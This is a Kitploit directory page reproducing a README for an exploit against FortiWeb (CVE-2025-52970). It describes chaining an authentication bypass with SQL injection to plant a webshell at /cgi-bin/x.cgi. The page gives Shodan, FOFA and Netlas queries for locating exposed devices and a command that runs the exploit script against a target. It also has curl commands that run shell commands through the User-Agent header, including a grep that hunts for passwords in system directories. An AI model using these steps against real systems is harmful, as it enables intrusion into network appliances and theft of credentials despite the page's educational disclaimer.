Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
FortiWeb-CVE-2025-52970-Authentication-Bypass — Demonstrates an authentication bypass in FortiWeb (CVE-2025-52970) chained with SQL injection to upload a webshell and achieve remote code execution via HTTP headers. | Kitploit
Tools/GitHubGitHub/hex00-0x4/fortiweb-cve-2025-52970-authentication-bypass
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubhex00-0x4/fortiweb-cve-2025-52970-authentication-bypass

FortiWeb-CVE-2025-52970-Authentication-Bypass

Demonstrates an authentication bypass in FortiWeb (CVE-2025-52970) chained with SQL injection to upload a webshell and achieve remote code execution via HTTP headers.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
93131 year agoNot yet reviewed

🚨 FortiWeb Authentication Bypass → Remote Code Execution

📌 Overview

This repository demonstrates an authentication bypass in FortiWeb that can be chained to achieve Remote Code Execution (RCE).
The exploit leverages a vulnerable endpoint to inject SQL payloads, upload a webshell, and execute commands through HTTP headers.

⚠️ Disclaimer:
This project is for educational and research purposes only.
Do NOT use against systems you don’t own or have explicit permission to test.

Netlas FOFA and Shodan

Screenshot 2025-08-23 131226
root@kitploit:~
((FortiWeb)) AND port:("8443")

### FOFA
title="FortiWeb" && port="8443"

### Shodan
ssl:"FortiWeb" port:8443
http.title:"FortiWeb" port:8443

🔎 Vulnerability Details

  • CVE: CVE-2025-52970

  • Component: FortiWeb Fabric API (/api/fabric/device/status)

  • Impact: Authentication Bypass → SQL Injection → Webshell Upload → RCE

  • Vector: Crafted Authorization header + SQL injection

🧑‍💻 Exploit Workflow

  1. Drop and create temporary SQL table.

  2. Write webshell payload in chunks.

  3. Export shell to /cgi-bin/x.cgi.

  4. Upload helper Python script to trigger permissions.

  5. Access webshell by sending commands via User-Agent header.

    ⚙️ Usage

1️⃣ Clone Repo

root@kitploit:~
git clone https://github.com/your-username/Fortinet-AuthBypass-Exploit.git
cd Fortinet-AuthBypass-Exploit
python3 exploit.py -t https://TARGET:8443/

Screenshot 2025-08-23 114753 Screenshot 2025-08-23 114915

3️⃣ Interact with Webshell

root@kitploit:~
curl -ks -H 'User-Agent: id' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: whoami' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: uname -a' https://TARGET:8443/cgi-bin/x.cgi
curl -ks -H 'User-Agent: grep -ril pass /etc /conf /data 2>/dev/null' https://TARGET:8443/cgi-bin/x.cgi
Screenshot 2025-08-23 114521
Download Tool